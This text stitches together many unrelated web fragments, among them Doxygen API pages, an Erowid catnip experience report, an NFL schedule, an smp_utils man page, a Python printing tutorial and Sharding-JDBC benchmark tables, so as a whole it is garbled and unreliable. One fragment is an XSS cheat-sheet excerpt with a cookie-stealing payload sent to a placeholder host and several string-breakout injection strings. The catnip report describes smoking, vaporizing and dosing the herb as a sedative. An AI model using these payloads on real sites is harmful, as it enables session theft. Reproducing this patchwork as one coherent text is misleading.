Ard Pin for SPI CLK.
Definition at line 35 of file adf4351.h.
Ard Pin for SPI Slave Select.
Definition at line 32 of file adf4351.h.
| #define REF_FREQ_DEFAULT 100000000UL |
Default Reference Frequency.
Definition at line 27 of file adf4351.h.
Array of Frequency Step Values.
Array of Frequency Step Values.
Definition at line 53 of file adf4351.cpp.


I've been using catnip for a long, long time now. It's a good cheap smoking mixture and a great substrate for herb powders and freebases. I'd have to say it's one of my favorite herbs to play with. I don't smoke pot at all. From what I've heard from other people who do use pot, catnip is like a lighter version of it.
I started off smoking it alone, first in a joint and then in a pipe. The joint is more fun, but with the pipe I use less. Usually I will use about a quarter gram. Leaves or buds can used, but I think the buds are better. The effects are immediate and are felt as a mild relaxation and sedation, comparable to the gentle post-orgasmic euphoria. It calms my mind and makes meditation alot easier, and boosts creativity to boot. I also find that the effects linger for quite a while, so if I smoke on monday, tuesday I may not need as much to get the same effect. Catnip with a tiny bit of lobelia powder is really great, a bit like nicotine but not addictive. I usually add some mullein, though, to help hold the powder.
Then last november my girlfriend made me stop smoking, so I had to find other ways. The first thing I tried was chewing it. I'd take a few leaves fresh off the plant and chewed about 5 of them, holding the juice under my tongue. The effects came on slower, were a little milder, and lasted longer, but were still enjoyable. When the leaves lose their bitterness and flavor, they are spat out. Next I made a tincture of the herb in IPA, evaporated it down to the water, and mixed it with an equal part of glycerin. I put a few drops in a glass tube and heat up the bottom until it vaporizes, inhaling the vapors. This works well too, but I need more extract to get the effects of the same amount of herb.
Finally, I've been using a tea. I give my mom a tea as a sedative, and she finds it works alot better than other herbs and doesn't leave her with a medicine head feeling like Tylenol PM and diphenhydramine. The effects are also more mild here than with smoking, but longer lasting and more sedative. It's important that you drink it fast before the oils evaporate.
I'm also experimenting with a tincture, but that won't be ready for a few weeks. I would use it sublingually or orally as a sedative. Overall, catnip is a great herb, but it doesn't give any fireworks. It makes my day just that much more interesting without interfering with my daily routine or making me paranoid about random drug tests.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


{{country.name}} has population of {{country.population}}, {{worldsPercentage(country.population)}} % of the World's population
World's population: {{population}} millions


See: Description
| Interface | Description |
|---|---|
| NavuTraversalMean | |
| TraversalFilter |
| Class | Description |
|---|---|
| NavuTraversalBfsMean |
This implements the
NavuTraversalMean for BFS
(Breath-first traversal). |
| NavuTraversalDfsMean |
This implements the
NavuTraversalMean for DFS
(Depth-first traversal). |
| NavuTreeTraversal |
Starting point for both Active and Passive mode traversal
|
Utility package for traversing the NAVU tree using NAVU API. The configuration tree means all existing keypaths that exists will be processed.
There is the ability to retrieve all the NavuNode
s that
exists both in CDB and trough external data.
There are two ways that one could use the Traversal API:
Passive traversal: Which means that one implements the method
TraversalFilter.currentNode(
com.tailf.navu.NavuNode)
and
register it in
NavuTreeTraversal.addFilter(
com.tailf.navu.traversal.TraversalFilter)
.
When all the filter has been registered the
traversal process needs to be started, which is done through
NavuTreeTraversal.traverse()
the
"filters" gets invoked for each node the traversal process encounters.
Active traversal:
This is the mode in which user could actively
retrieves a node through a iterator and the user has full control
when the next NavuNode
could be retrieved.
The following example shows a passive traversal (Breadth-first traversal)
NavuContext ctx = new NavuContext(maapi,th); NavuTreeTraversal traversalProcess = NavuTreeTraversal .createInstance(ctx,new NavuTraversalBfsMean()); traversalProcess.addFilter(new TraversalFilte(){ public void currentNode(NavuNode node) throws NavuException{ //process the current node } } traversalProcess.traverse();The following example shows a passive traversal (Depth-first traversal)
NavuContext ctx = new NavuContext(maapi,th); NavuTreeTraversal traversalProcess = NavuTreeTraversal .createInstance(ctx,new NavuTraversalDfsMean()); traversalProcess.addFilter(new TraversalFilter(){ public void currentNode(NavuNode node) throws NavuException{ //process the current node } } traversalProcess.traverse();The following example shows a active traversal
NavuContext ctx = new NavuContext(maapi,th); Iterator<NavuNode> it = NavuTreeTraversal.iterator(ctx); while(it.hasNext()){ NavuNode currentNode = it.next(); //Process the node }


| Away Team |
Home Team |
Time (CST) |
Forecast |
| Los Angeles Chargers |
Las Vegas Raiders |
Thursday, December 17 7:20 PM |
|
| Buffalo Bills |
Denver Broncos |
Saturday, December 19 3:30 PM |
|
| Carolina Panthers |
Green Bay Packers |
Saturday, December 19 7:15 PM |
|
| New York Jets |
Los Angeles Rams |
Sunday, December 20 3:05 PM |
|
| Houston Texans |
Indianapolis Colts |
Sunday, December 20 12:00 PM |
|
| Detroit Lions |
Tennessee Titans |
Sunday, December 20 12:00 PM |
|
| Chicago Bears |
Minnesota Vikings |
Sunday, December 20 12:00 PM |
|
| Seattle Seahawks |
Washington Football Team |
Sunday, December 20 12:00 PM |
|
| New England Patriots |
Miami Dolphins |
Sunday, December 20 12:00 PM |
|
| Jacksonville Jaguars |
Baltimore Ravens |
Sunday, December 20 12:00 PM |
|
| Cleveland Browns |
New York Giants |
Sunday, December 20 12:00 PM |
|
| Tampa Bay Buccaneers |
Atlanta Falcons |
Sunday, December 20 12:00 PM |
|
| Philadelphia Eagles |
Arizona Cardinals |
Sunday, December 20 3:05 PM |
|
| Kansas City Chiefs |
New Orleans Saints |
Sunday, December 20 3:25 PM |
|
| San Francisco 49ers |
Dallas Cowboys |
Sunday, December 20 7:20 PM |
|
| Pittsburgh Steelers |
Cinncinati Bengals |
Monday, Decmeber 21 7:15 PM |
|


--- layout: post title: 'MoMo London: Christian Lindholm' date: 2006-01-09 00:00:00 categories: interfaces-&-interaction mobile social software-development ---
Christian Lindholm, Yahoo"Of course we have a lot of servers, but they're quite boring".
Demoing Yahoo Go!
Mobile business currently: operators/service business vs device manufacturers/hardware biz.
This is changing to something like:
Device manufacturers + operators (added value transport) + internet service biz.
Isn't this what we have today (replace "internet service" with "content providers", then have an argument with yourself about what's content and what's a service).
"You cannot shrink the Internet to a 5-line display". Colour screens + packet data make a difference. You need to build a decent user experience around communications devices.
Search will be important. Shrinking desktop search is not the point (yay). "Users want answers, they don't want to conduct an act of search" (yay). Search + portal as a "fusion experience" (ow). The importance of "glanceability" for interfaces: you don't link to the weather, you see the weather.
Data routing: Yahoo has huge server assets built on leveraging users personal content (e.g. 250m email users, 2b photos on Yahoo servers - presumably incl Flickr). Even photos are getting quite large - so you need a data router to move content intelligently between Yahoo servers and handsets. Performs scaling etc. Mentioned scaling for TV as well as mobile.
Distribution and awareness are the key problems to solve. User experience optimised for device. A personalised experience (cue promise of targeting - I wonder if Yahoo can really deliver on this better than all the other folks who promised this over the last decade?).
Uses on-phone applications. Extends them where Yahoo can add value and improves the native user experience. Question: who's fault is it that the S60 user experience is inadequate ;)
Hacked native mail application has been extended to add Yahoo-specific commands.
Overall: looks good if you're (a) a hardcore Yahoo user and (b) owner of a decent Series 60 handset (i.e. not a memory-crippled 6680 or similar). Wonder how many of these people there are outside of Yahoo? Can't help feeling that if Microsoft did this same thing we'd all be spitting on them. Also wonder why I'm feeling so cynical about what looks like a very decent product, hmm...Seems to have a decent slideshow app (something missing from the N70). Nice integration for accessing Yahoo photo albums over the net - can definitely see the value here. Hmm, Flickr client for reading via mobile *would* be nice - that's a weird inversion, most of the time I find myself complaining that folks just think of mobiles as a content consumption tool, as opposed to production... Don't think I'd want all the other stuff tho.
They're not using SyncML for this stuff, but their own proprietary protocols.


--- layout: page title: PRIVACY POLICY tags: [] status: publish type: page published: true meta: _edit_last: '2' _wp_page_template: default _yoast_wpseo_linkdex: '0' ---
Missenchanted is a personal blog written and edited by me. All products mentioned and reviewed here have been bought by me, although sometimes I do receive samples for review and every such post mentioning those samples will have a disclosure at the end in bold letters. My opinion and reviews are completely honest and are not biased. Please keep in mind that although product reviews are completely honest, but what works on my skin, may not work for you.
I recognize that privacy of your personal information is important, and this blog does not share any information whatsoever with third parties. You can turn off the use of cookies at anytime by changing your browser settings. All content provided on this blog is for informational purposes only. The owner will not be responsible for any losses, or damages from use of this information.*Pictures used in this blog belong to me, unless specified. Do not copy any content or pictures from here.


Honzi
/
Personal Bests
/
Half-Life
Achievements
PB
Half-Life 2
33/33
Half-Life 2: Episode 1
13/13
Half-Life 2: Episode 2
22/23 (95.6521739%)


Document
document.cookie
document['cookie']
document.location
document.location.replace('http://attacher/payload?c='+document.cookie);
Prompt
prompt('xss') should replace alert('xss') as the new test case
String
String.fromCharCode(88,83,83) results in XSS
Window
window.alert
With
with(document)alert(cookie)
JS actions
javascript:
vbscript:
{} works within xml for example <html><title>{alert('xss')}</title></html>
JS Strings
";location=
";a.b=
");a(
";a(b)


{%- include head.html -%}
{%- include header.html -%}
{{ content }} {%- include footer.html -%}
{%- include scripts.html -%}


About Us WebOrigin is a professional website design studio specialising in development of compelling websites for clients who wish to join the dynamic and competitive world of e-commerce. It is our goal to promote your business successfully with a professionally designed website, specifically for your goals and brand integrity. We would like to take this opportunity to thank you for visiting us, and encourage you to take some time exploring the site.
Our client says... "Web Origin did a great job! This is our first website and we didn’t know what to expect. They walked us through the process and help us each step of the way. The success of the web site has been beyond our expectations. Because of their talent, our on-line business has increased dramatically, and we receive complements daily from people who visit our site. We could not have asked for a better design. You should definitely consider Web Origin if you are planning on building a website." -- Exoticspray Ltd, FI, Director


About
ARO FABLAB was founded on 8 March 2007 under ARC-KENYA, a local NGO with the mission of fighting poverty by doing things differently.This is how the Fablab was started in the rural parts of Siaya County in Majiwa
We provide a space for local entreprenuers, designers, craftsmen, Engineers,educators, students and all other creative thinkers where they can test their curocity under support from other Fablabers. See this
Our Fablab is one of the newly listed Fablabs by the Fab Foundation after the long awaited approval. This makes them two officially recognized in Kenya. See here World Fablabs
Under this, Fablab plays a central role of repairing the solar lamps distributed in the community by the Organization. Fablab also in partnership with Kisumu Polytechnic Engineering Department continues research on possible solar cooker
Apart from the FABLAB, ARC-KENYA also run other programs including;
- Child Care Program
- Child Protection Program
- Agriculture Program
- Enviromental Management
FabLab Charter
What is a FabLab?
FabLabs are a global network of local labs, enabling invention by providing access to tools for digital fabrication.
What's in a FabLab?
FabLabs share an evolving inventory of core capabilities to make (almost) anything, allowing people and projects to be shared.
What does the FabLab network provide?
Operational, educational, technical, financial, and logistical assistance beyond what's available within one lab.
Who can use a FabLab?
FabLabs are available as a community resource, offering open access for individuals as well as scheduled access for programs.
What are your responsibilities?
Safety: not hurting people or machines
Operations: assisting with cleaning, maintaining, and improving the lab
Knowledge: contributing to documentation and instruction
Who owns FabLab inventions?
Designs and processes developed in FabLabs can be protected and sold however an inventor chooses, but should remain available for individuals to use and learn from.
How can businesses use a FabLab?
Commercial activities can be prototyped and incubated in a fab lab, but they must not conflict with other uses, they should grow beyond rather than within the lab, and they are expected to benefit the inventors, labs, and networks that contribute to their success.


WORK WORK WORK It’ll blow your mind.
Keeping a mind sharp, hands calloused, ready for any assignment.
Work ethic passed down from generations of farmers.
The tools have changed. The work, fundamentally the same.
I take it on, just as I was shown,
with efficacy and perception.
JOB DONE. ✔
Oh yeah, it’s that good.See for yourself.
Hope you're hungry! Cooking for friends and family, one of my greatest joys.
Pull up a seat, all are welcome at my table.
Food is a language, one I practice and share with all!
And lastly, this one. Dyn-o-mite!💥
Photography, I like it.
You can often find me hooked on getting that "perfect shot".
Attention to detail, even if it means a focus on something small.
Harmony, functionality, exuberance!


|
The Snake Game
1.0.0
|
Macros | |
| #define | LEFT 97 |
| #define | RIGHT 100 |
| #define | UP 119 |
| #define | DOWN 115 |
| #define | PAUSE 112 |
| #define | ESC 27 |
| #define | MAP_Start_X 3 |
| #define | MAP_Start_Y 2 |
| #define | MAP_X 30 |
| #define | MAP_Y 20 |
Functions | |
| void | draw_map (void) |
| draw the edge of game map | |
| void | title (void) |
| first display when execute game. it contains how to move of play the game. | |
| void | reset (void) |
| reset all the variables | |
| void | food (void) |
| make a food in random position. | |
| void | pause_game (void) |
| when user want to pause, the game is stopped temporarily | |
| void | move (int dir) |
| void | game_over (void) |
| when the snake crushes on the wall, the game will be overed | |
| void | gotoxy (int x, int y, char *s) |
| int | main () |
Variables | |
| int | x [100] |
| int | y [100] |
| int | length |
| int | speed |
| int | score |
| int | dir |
| int | key |
| int | food_x |
| int | food_y |
| int | best_score = 0 |
| int | last_score = 0 |


SMP_UTILS
Section: SMP_UTILS (8)Updated: December 2008
Index Return to Main Contents
NAME
smp_* - invoke a Serial Attached SCSI Management (SMP) functionSYNOPSIS
smp_* [--expected=EX] [--help] [--hex] [--interface=PARAMS] [--raw] [--sa=SAS_ADDR] [--verbose] [--version] SMP_DEVICE[,N]DESCRIPTION
smp_utils is a package of utilities. Each utility sends a Serial Attached SCSI (SAS) Management Protocol (SMP) request to a SMP_DEVICE (a SMP target). If an error occurs then an error message is sent to stderr. If no error occurs, the response is decoded (the default), output in ASCII hex (when --hex is given) or output in binary to stdout (when --raw is given).
If SMP_DEVICE[,N] is not given then the value in the environment variable SMP_UTILS_DEVICE is used.
INTERFACE
Currently there are multiple interfaces that allow SMP functions to be passed through to a SMP target.One method is to have a SMP_DEVICE which is actually the SMP initiator (e.g. '/dev/mptctl,0'). In this case the SMP target's SAS address must be supplied with --sa=SAS_ADDR.
Another method is to have a SMP_DEVICE which represents the SMP target. In this case no SAS_ADDRESS needs to be given (since it is implicit). This method may be simpler but it has some limitations (e.g. it assumes the SMP target has already been discovered which may not be the case for the initial discovery process).
Each utility in smp_utils attempts to work out which interface it has been given by examining the SMP_DEVICE file. There are three interfaces supported currently:
- mpt
- This specifies the MPT fusion SAS pass-through which uses the '/dev/mptctl' or '/dev/mpt2ctl' device node. If mpt drivers are loaded but '/dev/mptctl' or '/dev/mpt2ctl' are not present then a 'modprobe mptctl' command may be needed in Linux. If there are multiple mpt fusion controllers (HBAs) in the computer, then the user will need to specify which one to use with the syntax: '/dev/mptctl,<n>' where <n> is the "ioc_num". This number can be found in the log where the mptsas driver is registered. In Linux it can be found in '/proc/scsi/mptsas/<host_no>' in the 2.4 series and additionally in '/sys/class/scsi_host/host<n>/unique_id' in the 2.6 series. When this interface is used the --sa=SAS_ADDR option must be given to specify the SAS address of the SMP target. When the mptctl driver is loaded in Linux there should be a character device node at '/dev/mptctl' with major 10 and minor 220. Alternatively there may be a character device node at '/dev/mpt2ctl' with major 10 and minor 221.
- sgv4 (sg)
- This interface is more generic and supported in the linux 2.6.24 kernel and beyond. The SMP functions are passed to the kernel using a format known as "SCSI Generic Version 4" which gives this interface its name: "sgv4" or just "sg". The SAS transport layer within the SCSI sub-system unpacks the SMP requests and forwards them to SAS low level drivers that support this interface. The SMP_DEVICE is either a member of the '/sys/class/bsg' directory or a device node made by the bsg driver. Such device nodes are dynamic (i.e. they don't have a fixed major number) and should correspond to the major and minor numbers found in the 'sys/class/bsg/<smp_target_device>/dev' file.
- tpl (ai)
- This interface is currently used by one adaptec 94xx driver. The "device" name will usually be "smp_portal" and it will be found within the sysfs file system (typically mounted under "/sys"). The target SMP SAS address is implicit (as is the SMP initiator). Either 'tpl' or 'ai' can be used to specify this interface.
ENVIRONMENT VARIABLES
If the device name is not given then the SMP_UTILS_DEVICE environment variable is checked and if present its contents are used as the device name.If the SAS address (of the SMP target) is not given and it is required (i.e. it is not implicit in the device name) then the SMP_UTILS_SAS_ADDR environment variable is checked and if present its contents are used as the SAS address. SAS addresses are usually given in hex indicated by a leading '0x' or trailing 'h'.
In both cases command line options override the corresponding environment variable.
COMMON OPTIONS
Mandatory arguments to long options are mandatory for short options as well. If an option takes a numeric argument then that argument is assumed to be decimal unless otherwise indicated (e.g. with a leading "0x" or a trailing "h").- -E, --expected=EX
- revision 4a of the SAS-2 draft introduced an 'expected expander change count' field in some SMP requests. The idea is to detect other SMP initiators trying to change the state of an expander. The value EX is from 0 to 65535 inclusive with 0 being the default value. When EX is greater than zero then if the value doesn't match the expander change count of the SMP target (i.e. the expander) when the request arrives then the target ignores the request and sets a function result of "invalid expander change count" in the response.
- -h, --help
- output the usage message for the utility then exit.
- -H, --hex
- output the response in hexadecimal.
- -I, --interface=PARAMS
- interface specific parameters. This option is usually not needed since the interface type is guessed by a utility based on the characteristics of the given SMP_DEVICE argument or what is in the corresponding environment variables. PARAMS is of the form: INTF[,force]. If the guess doesn't work then the interface can be specified by giving a INTF of either 'mpt', 'sgv4' or 'tpl' ( with 'ai' being a synonym for 'tpl'). Sanity checks are still performed and a utility may refuse if it doesn't agree with the given INTF. If the user is really sure then adding a ',force' will force the utility to use the given interface.
- -r, --raw
- send the response to stdout in binary. All error messages are sent to stderr.
- -s, --sa=SAS_ADDR
- specifies the SAS address of the SMP target device. Typically this is an expander. This option may not be needed if the SMP_DEVICE has the target's SAS address associated with it. The SAS_ADDR is in decimal but most SAS addresses are shown in hexadecimal. To give a number in hexadecimal either prefix it with '0x' or put a trailing 'h' on it. If this option is not given then the value in the environment variable SMP_UTILS_SAS_ADDR is used.
- -v, --verbose
- increase the verbosity of the output. Can be used multiple times.
- -V, --version
- print the version string and then exit.
EXIT STATUS
To aid scripts that call these utilities, the exit status is set to indicate success (0) or failure (1 or more):- 0
- success
- 1 - 63
- reserved for SMP function result codes. See SAS draft or standard, application layer, management application layer, SMP functions. Here are some common function result codes: 1 [unknown SMP function], 2 [SMP function failed], 16 [phy does not exist], 17 [index does not exist], 18 [phy does not support SATA] and 19 [unknown phy operation].
- 91
- syntax error. Either illegal options, options with bad arguments or a combination of options that is not permitted.
- 92
- the utility is unable to open, close or use the given SMP_DEVICE. The given file name could be incorrect or there may be permission problems. Adding the --verbose option may give more information.
- 97
- the response to a SMP function failed sanity checks.
- 99
- any error that can't be categorized into values 1 to 97 may yield this value. This includes transport and operating system errors.
NOTES
Finding the SAS address of an expander can be a challenge in some environments. An enclosure containing one or more expanders may have the expander SAS address(es) printed on the back of the device, a bit like ethernet MAC addresses.In the Linux 2.6 kernel series the expander SAS address may well be in the sysfs tree but it is not always easy to find. Doing this search may help:
# find /sys -name "sas_device:expander*"
Then change directory to any path found and call 'cat sas_address'
Another approach is to work backwards from SCSI devices (i.e. logical units). The protocol specific port log page (log page 18h) contains fields for the "attached SAS address". sg_logs from the sg3_utils package could be used like this:
# sg_logs --page=18h /dev/sdb
Any given "attached SAS address" is either a HBA, an expander or 0 indicating that port is not connected.
CONFORMING TO
To date SAS has three generations. The first two generations are approved standards: the original SAS (SAS ANSI INCITS 376-2003) and SAS 1.1 (INCITS 417-2006). SAS-2 technical work is ongoing and at the time of writing the most recent draft is sas2r15.pdf (see section 10.4.3 for SMP functions). To avoid confusion, the three generations of SAS will be referred to in these man pages as SAS 1, 1.1 and 2 . Drafts, including those just prior to standardization can be found at the http://www.t10.org site.The two utilities for reading and writing to GPIO registers, smp_read_gpio and smp_write_gpio, are defined in the Small Form Factor document SFF-8485 found at http://www.sffcommittee.com .
In this section of each utility's man page is the first standard in which the associated SMP function appeared and whether there have been significant additions in later standards.
The COVERAGE file in the smp_utils source tarball shows the mapping between all SMP function names defined in the standards, the versions of those standards in which those SMP functions are defined and the corresponding smp_utils utility names. A lot of extra SMP functions have been added in SAS-2 and many do not have corresponding utilities at this time.
AUTHORS
Written by Douglas Gilbert.REPORTING BUGS
Report bugs to <dgilbert at interlog dot com>.COPYRIGHT
Copyright © 2006-2008 Douglas GilbertThis software is distributed under a FreeBSD license. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
SEE ALSO
smp_conf_general, smp_conf_route_info, smp_discover, smp_discover_list, smp_phy_control, smp_phy_test, smp_read_gpio, smp_rep_exp_route_tbl, smp_rep_general, smp_rep_manufacturer, smp_rep_phy_err_log, smp_rep_phy_sata, smp_rep_route_info, smp_write_gpio, sg_logs(sg3_utils)
Index
- NAME
- SYNOPSIS
- DESCRIPTION
- INTERFACE
- ENVIRONMENT VARIABLES
- COMMON OPTIONS
- EXIT STATUS
- NOTES
- CONFORMING TO
- AUTHORS
- REPORTING BUGS
- COPYRIGHT
- SEE ALSO
This document was created by man2html, using the manual pages.
Time: 05:34:30 GMT, December 24, 2015


What is it?
SkeptiCal is the Northern California conference of science and skepticism, a day-long event with speakers, panels, and discussions on a wide array of subjects.
SkeptiCal will be held Saturday, May 31, 2014 in Oakland, California, at the Oakland Asian Cultural Center:
388 9th St.
Oakland, California, 94607
Google Map
Topics
Last year we had speakers covering a wide variety of speakers, including legends, hoaxes, and frauds of science, the search for extra-terrestrial intelligence, medical ethics, grassroots skepticism, and more.
The conference schedule and a list of speakers will be posted soon.
Tickets
Reduced registration fee in 2014!
Tickets will be available soon. Regular tickets are available at a discounted rate of $40 until May 1, when the price goes up to $50. Students with an active student ID can attend for $30 until May 1. We are also offering a t-shirt for $15.


 Let's take a look at how we can simplify that.
Modifying Containers
// tailwind.config.js
module.exports = {
theme: {
screens: {
'sm': '640px',
'md': '768px',
'lg': '1024px',
'xl': '1280px',
'2xl': '1536px'
}
}
}
Here is how the default breakpoints are set up. You can modify the values for any of these breakpoints, add more of them, or rename the existing breakpoints to whatever you want.
You can take a look at the documentation for more samples.
Adding Variants
// tailwind.config.js
module.exports = {
variants: {
extend: {
backgroundColor: ['active']
}
}
}
Another way to extend the functionality of elements is to extend the variants available to specific classes. Not all variants are turned on by default and here, I'm telling Tailwind to add an active variant to the background color.
On every class' page, you'll find the options for adding variants if they're available.
Practice
Here's what we did and where you can find the code in Github. Remember that the code is always at raybo.org/slides_tailwind


--- layout: default title: Take Action permalink: /townhall/ meta_content: |
Join Team MAYDAY to call Congress together. With a small group of the first citizens to RSVP, we'll report campaign progress, make calls to Congress together, then get your input during a sneak peek of our next steps to reform the way campaigns are funded. Let's do this together.


Brownie cake made with organic ingredients and swiss chocolate
Red velvet cake with cream cheese frosting
Our most popular cake!


My name is Aja Topps-Harjo and I was born in Washington D.C. I am a sophmore at Western Reserve Academy. I really enjoy traveling and have lived in Los Angeles, New Zealand and France. I really love the arts in general especially music, 3-D art, and design. I have am really interested in science, math and technology as well. I am interested in Digital Fabrication because it include art and design which I really enjoy. Also I believe that Digital Fabrication will bring my crafting skills to a new level by having technology involve. Overall I really just wanted to try something new and challenge myself by combining my two passions of STEM and art.


All of WhatSock.com is powered by the AccDC API to maximize speed and efficiency.
To see how this is done, view the initial setup script at
js/ready.js,
which declares all of the tab links on the left as top-level AccDC Objects.
View the Live Demo setup file at
js/demo.js,
to see how all of the below demos are configured as child AccDC Objects, with the Live Demo tab specified as the top-level parent AccDC Object.
Demo 1: An interactive editor dialog rendered as an AccDC Object, including a toolbar and dropdown menus, all of which consist of nested AccDC Objects that are dynamically configured from an external XML file on the server.
Click the "Edit Content" link to open the editor AccDC Object.
Demo 2: Standard images converted into draggable AccDC Objects that are automatically accessible to screen reader and keyboard only users with customizable drop zones.
Click the "Morph" button to convert all of the planet images into draggable AccDC Objects.
All of the draggable planet AccDC Objects are keyboard accessible when morphed.
(The sun is also draggable, though it is not configured to be keyboard accessible since there is no drop zone specified.)
Directions for keyboard access:


| Filter | Results |
|---|---|
|
Collection:
|
Collection:
|
|
Filter Field:
|
|
| Details |
|
|
Details Name:
|
|
|
|
|


Fri Nov 7, 2008
That’s probably the cheesiest line I’ve ever written. But for some reason, the editors over at alive actually seem to revel in cheese (One example is the title I’ll eternally shake my head at: G…I can’t believe it’s a Glycemic index). God bless ‘em though - they’re a wonderful bunch.
Anyway, here’s an article I really enjoyed writing because, well, I love surfing! And so does Scott over in the art department. He took some glorious pictures in Tofino and quite simply graced my article with them. Click here to hit the beach dude.


| I l@ve RuBoard |
The next technique to look at is Windows printing. We start off with a minimal example, then discuss the principles behind it. Start by typing the following at a Python console:
>>> import win32ui >>> dc = win32ui.CreateDC() >>> dc.CreatePrinterDC() >>> dc.StartDoc('My Python Document') >>>
At this point, you'll see a printer icon in the System Tray. Double-click, and you see Figure 10.4.
Now we'll print a few words and draw a line on the page:
>>> dc.StartPage() >>> dc.TextOut(100,100, 'Python Prints!') >>> dc.MoveTo(100, 102) (0, 0) >>> dc.LineTo(200, 102) >>> dc.EndPage() >>>
As soon as you type EndPage, your page should begin to print on your default printer. The Status column in the Printer window changes to look like Figure 10.5.
Finally, tell Windows you've finished printing:
>>> dc.EndDoc() >>>
Hopefully, a few seconds later you will have a page with the words Python Prints near the top left and a horizontal line just above it.
If you've ever done any Windows graphics programming, this will be familiar. The variable dc is an instance of the Python class PyCDC , which is a wrapper around a Windows Device Context. The Device Context provides methods such as MoveTo , LineTo, and TextOut. Device Contexts are associated with windows on the screen as well as with printers; the graphics code is identical, although the way you start and finish differs: windows don't have pages, for example.
In Chapter 20, we cover PythonWin development in some detail, and the example application involves graphics calls of this kind.
There is, however, one significant problem with your printout: the line on your page is probably rather tiny. The coordinates used were pixels. On the screen, you typically get about 100 pixels per inch; if you'd written the previous code for a window, the text would be an inch down from the top left of the window and about as long as the words. On a typical HPDeskJet printer, which has a resolution of 300 dots per inch, the line is just a sixth of an inch long; yet the text is still a sensible size (it will, in fact, be in the default font for your printer, typically 10-point Courier).
For printed reports, you need precise control of text and graphics; numbers need to appear in the columns designed for them. There are several ways to get this. We will use the simplest, and choose a ready-made mapping mode, one of several coordinate systems Windows offers, based on twips. A twip is a twentieth of a point; thus there are 1440 twips per inch. Windows can draw only in integer units, so you need something fairly fine-grained such as twips. (Windows also provides metric and imperial scales, or lets you define your own.) In this coordinate system, the point (0, 0) represents the top left corner of the page, and y increases upwards; so to move down the page, you need negative values of y.
To set up the scale, you need just one line:
dc.SetMapMode(win32con.MM_TWIPS)
To test it, we'll write a little function to draw a six-inch ruler. If it's right, you can call this function after setting the mapping mode and take out a real ruler and check it. Here's the ruler function and a revised script:
import win32ui import win32con INCH = 1440 def HorizontalRuler(dc, x, y): # draws a six-inch ruler, if we've got our scaling right! # horizontal line dc.MoveTo(x,y) dc.LineTo(x + (6*INCH), y) for i in range(7): dc.MoveTo(x,y) dc.LineTo(x, y-INCH/2) x = x + INCH def print_it(): dc = win32ui.CreateDC() dc.CreatePrinterDC() # ties it to your default printer dc.StartDoc('My Python Document') dc.StartPage() dc.SetMapMode(win32con.MM_TWIPS) # text - near the top left corner somewhere dc.TextOut(INCH,-INCH, 'Hello, World') # 1 inch in, 8 up HorizontalRuler(dc, INCH, - INCH * 1.5) dc.EndPage() dc.EndDoc() print 'sent to printer' del dc
We've seen how to control precise page layout and also seen a reusable function that does something to a Windows device context. This is a first step in building your own graphics library. As everyone who's ever read a textbook on object-oriented programming knows, the natural approach is to make a class hierarchy of objects that can draw on the device context. Having shown you the basics, we'll move on, and return to the class library later.
| I l@ve RuBoard |


Pop Culture Trivia
Click to begin
Time remaining:
seconds
All Done!
Correct Answers:
Incorrect Answers:
Unanswered:


Book-A-Meal
Full name:
Username:
Email:
Password:
Confirm password:
Sign Up
Already have an account?
Login


Good Eats
Search
Favorites
Gluten Free
Dairy Free
Peanut Free
Egg Free
Wheat Free
Suggested Recipes
See More +
Don't want to cook? Type your zipcode below:
Don't want to cook? Look below for restaurants near you.
Search


Player 1 Score
1
Guess The Flag
It's Player 1's Turn
Player 2 Score
2
Choice A
Choice B
Choice C
Choice D
Restart


--- layout: tutorial-extended title: The Weather App --- {% assign tutorial_github_url = "https://github.com/infinispan/infinispan-embedded-tutorial" %} {% assign @tutorial_steps = "The Weather Application, Initializing the CacheManager, Putting stuff in the cache, Making entries expire, Configuring the default cache, Clustering the application, Listen to changes in the cluster, Listen to changes in the cache, Grouping entries together, Temperature averages with streams, Declarative configuration" | split: ", " %} {% assign tutorial_step = 6 %}
In the previous step we successfully started a cluster with two nodes, but we had very little control over the lifecycle of the cluster and both nodes effectively performed the same operations. In this step we will look into cluster events and how they can help in making sure things happen predictably when the cluster topology changes. In order to listen to specific events, we need to create and attach a listener to the CacheManager. An Infinispan listener is simply a class annotated with @Listener. You choose which events you will be notified about by adding annotated methods, e.g.:
@Listener
public class ClusterListener {
@ViewChanged
public void viewChanged(ViewChangedEvent event) {
}
}
In the above example we will be notified whenever a node leaves or joins the cluster. The event object will contain detailed information about the previous topology, the new topology, etc. In our WeatherApp we will be using that information alongside two CountdownLatch instances: one that waits for the expected number of nodes to form the initial cluster, and one that allows a node to shutdown only when the original coordinator node has left the cluster.
git checkout -f step-6
mvn clean package exec:exec # from terminal 1
mvn exec:exec # from terminal 2
This time the first node you start will wait for the second node to join the cluster before proceeding with its job. In the next step we will be looking at another type of events: Cache events.


1、The test of performance lose: When the server resources are sufficient and the number of concurrency is the same, we compare the performance loss of JDBC and Sharding-JDBC, the result is that the performance loss of Sharding-JDBC is less than 7%, compared with JDBC.
2、The test of performance: The server resources are used to the limit, the throughput of Sharding-JDBC and JDBC are on a fairly level.
3、The test of performance: The server resources are used to the limit, the throughput of Sharding-JDBC with Sharding is improved nearly twice than JDBC without Sharding.
4、The test of performance: The server resources are used to the limit, The performance of Sharding-JDBC V1.5.2 is more stable V1.4.2.
| Operation | JDBC | Sharding-JDBC1.5.2 | The loss ratio of Sharding-JDBC1.5.2/JDBC |
|---|---|---|---|
| The SELECT for single table in single DB | 493 | 470 | 4.7% |
| The UPDATE for single table in single DB | 6682 | 6303 | 5.7% |
| The INSERT for single table in single DB | 6855 | 6375 | 7% |
| Operation | Two tables in single DB for JDBC | Two tables in each of two DBs for Sharding-JDBC | The improved performance percentage |
|---|---|---|---|
| SELECT | 1736 | 3331 | 192% |
| UPDATE | 9170 | 17997 | 196% |
| INSERT | 11574 | 23043 | 199% |
| Operation | One table in single DB for JDBC | One table in each of two DBs for Sharding-JDBC | The improved performance percentage |
|---|---|---|---|
| SELECT | 1586 | 2944 | 185% |
| UPDATE | 9548 | 18561 | 194% |
| INSERT | 11182 | 21414 | 192% |
| Operation | Sharding-JDBC 1.4.2 | Sharding-JDBC 1.5.2 | The improved ratio of 1.5.2⁄1.4.2 |
|---|---|---|---|
| SELECT | 2934 | 2944 | 100.34% |
| UPDATE | 18454 | 18561 | 100.58% |
| INSERT | 21045 | 21414 | 101.75% |
| Operation | The operation abbreviation |
